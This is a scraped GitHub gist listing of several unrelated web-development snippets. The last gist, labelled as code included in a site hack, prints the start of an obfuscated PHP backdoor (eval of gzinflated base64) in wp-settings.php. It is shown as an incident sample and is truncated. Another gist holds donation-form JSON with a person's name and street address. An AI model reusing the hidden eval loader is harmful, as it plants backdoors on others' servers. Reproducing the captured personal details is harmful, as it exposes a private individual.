Skip to content

Instantly share code, notes, and snippets.

@benkutil
benkutil / jira-prs.sh
Last active April 4, 2017 19:09
Script to run as part of Jenkins validation of pull requests. Helps to ensure all merged PRs have a Jira ticket in their title
PRMATCH=`echo "$ghprbPullTitle" | sed -n "/release notes\|\[[A-Za-z0-9]\+-[0-9]\+\]/Ip"
if [[ -n "$ghprbPullTitle" ]] && [[ -z "$PRMATCH" ]]; then
echo "$ghprbPullTitle does not contain a JIRA ticket"
exit 1
fi
tap 'caskroom/cask'
tap 'caskroom/versions'
tap 'homebrew/bundle'
tap 'homebrew/core'
tap 'homebrew/services'
tap 'phrase/brewed'
tap 'thoughtbot/formulae'
brew 'readline'
brew 'augeas'
brew 'autoconf'
@benkutil
benkutil / mdspca-luminate-email-signup.html
Created July 5, 2016 15:35
Markup used for MD SPCA Luminate email form.
<div class="section module--email">
<h3 class="module__heading email__heading">Stay Up To Date</h3>
<p>Sign up to get more information about news and events at the MD SPCA.</p>
<form action="http://support.mdspca.org/site/Survey" method="post" target="_blank">
<div class="hidden">
<INPUT id=cons_info_component value=t type=hidden name=cons_info_component /><INPUT id=SURVEY_ID value=1662 type=hidden name=SURVEY_ID />
<SPAN style="DISPLAY: none">
<INPUT id=denySubmit alt="This field is used to prevent form submission by scripts." name=denySubmit />Please leave this field empty</SPAN>
</div>
<div class="control-group full_name">
var markers = {
type: 'FeatureCollection',
features: [
{
type: 'Feature',
properties: {
title: 'Area 405',
'description': '<p>405 E Oliver St, Baltimore, MD, United States</p>',
'marker-color': '#682f4b',
'marker-size': 'large',
@benkutil
benkutil / bucket
Created April 29, 2016 02:27
Data sent between steps 2 and 3 of donation process on https://www.hillaryclinton.com/contribute/donate/
{
"modifiedDate": "2016-04-29T02:23:22.508592Z",
"uuid": "db1bea98-7dbe-4191-b42c-8d51a183463a",
"familyName": "Kutil",
"address1": "4310 Evans Chapel Rd.",
"tags": {
"utm_term": null,
"utm_campaign": null,
"utm_content": "/oUaETXxrx5",
"formSlug": "/contribute/donate/",
@benkutil
benkutil / markup.html
Last active April 7, 2016 01:53
Linh’s Navigation Markup and CSS, shown as gist to compare changes
<!-- Only showing the markup for the navigation elements themselves -->
<ul class="site-nav">
<li class="site-nav-item -work"><a href="../Portfolio/work.html" class="site-nav-link">Work</a></li>
<li class="site-nav-item -resume"><a href="../Portfolio/resume.html" class="site-nav-link">Resume</a></li>
<li class="site-nav-item -contact"><a href="../Portfolio/contact.html" class="site-nav-link">Contact</a></li>
</ul>
/*
Theme Name: _s
Theme URI: http://underscores.me/
Author: Automattic
Author URI: http://automattic.com/
Description: Hi. I'm a starter theme called <code>_s</code>, or <em>underscores</em>, if you like. I'm a theme meant for hacking so don't use me as a <em>Parent Theme</em>. Instead try turning me into the next, most awesome, WordPress theme out there. That's what I'm here for.
Version: 1.0.0
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: _s
/*
Theme Name: _s
Theme URI: http://underscores.me/
Author: Automattic
Author URI: http://automattic.com/
Description: Hi. I'm a starter theme called <code>_s</code>, or <em>underscores</em>, if you like. I'm a theme meant for hacking so don't use me as a <em>Parent Theme</em>. Instead try turning me into the next, most awesome, WordPress theme out there. That's what I'm here for.
Version: 1.0.0
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: _s
<div style="position: relative; height: 0; overflow: hidden; padding-top: 85%;">
<iframe style="position: absolute; top: 0; left: 0; width: 100%; height: 100;" src="https://data.baltimorecity.gov/w/922z-dmgf/ta62-x9wp?cur=RDuTACrgfNk&from=root" frameborder="0" scrolling="no"></iframe>
</div>
<p>Built using <a href="https://data.baltimorecity.gov/Public-Safety/Map-X/922z-dmgf" target="_blank">Baltimore Open Data</a></p>
@benkutil
benkutil / wp-settings.php
Created August 21, 2015 15:44
English Language Programs Hack - included code
<?php eval(gzinflate(base64_decode('pRlrc9u48bM70/+AaBhTjGmJol5WbNpJHeXuZppLqjid6diJBiJBiRFF8kBKtmz6v3cXAB+W5fY6zSQCiH1iX8AigU+arzzmBxHzmrrPVx9S3TAe/vqXA7lYrBGzY5zCKuM85lPOkphnQTRvWmIV/vrryM2COCKAP/VC0tTWPDQIcjoIQEgBn7K7IM3Spu4CfBpEQQbyJNqB5i6IQ0qAZHEqQGIxZVmcwLK7MMnlt8nfP3+5mk7GV98mv19N3v/+9eN4YpKOItDidVYwY3fMJUimYKiPBHAexQJAXjkOsQyiyHwapqwm2Q3jlNVYPBIGCORBob/zg5BN5yybunGUsQj2J3V/RGTOsjWPSMaDVRMJBIvHPWZzOe4uiIT9D7QgdNKMhywSa6da7Oi6kO7HHHQJQLB1SmA8g58QZ0dHuIOWA/jXWvCd/CD6G0midNDil2SD8i51F6ypZavEC7iphUG0NDV3lQUrZmpZzBxhFaWcD9IVaktvpyxNp3pr5fWbCWdzDJCQuhA97R+LLEve3rRv2tc/btrfj9q6SXT4J9gb0pqaz9DmaEMVHZovIYHffIXQPCeoRtMgxwJPKIVY5JwMLPKGKD0NJFLB5IWuI4OxKYUVzm8ix8NDIjActSsigAfvsnjtLkr5B+hmMZFMa9RslWTbJvIwBDMwUMFE4T5jJgxfZ1piCraJiKQ4QYf7pn6Liejf8iDDnSZmLURQqHFKfBGWCFSRpng/FN4GvAIgB/H7KG3uvhC4SlvFA75d46ISDV9vZRjui6IgncVZU4XImjrvIICzOIxvGW9q06/jyT/Hk2v916urL9Nv8DV9/8v49yv9e+ls9FTiBIkdxlBcKorJ+NPnq/H0/YcPE8A2ziwDEY+cnj3qjQZDezQ4FbbXeAq7opzTbVP+dgfdUb83GvW7ppj2Tzo92zAlsGOdjKy+PRh2TTEdWCeDCtixgaJvWx1TTkcgrATagG8PbGtkimnP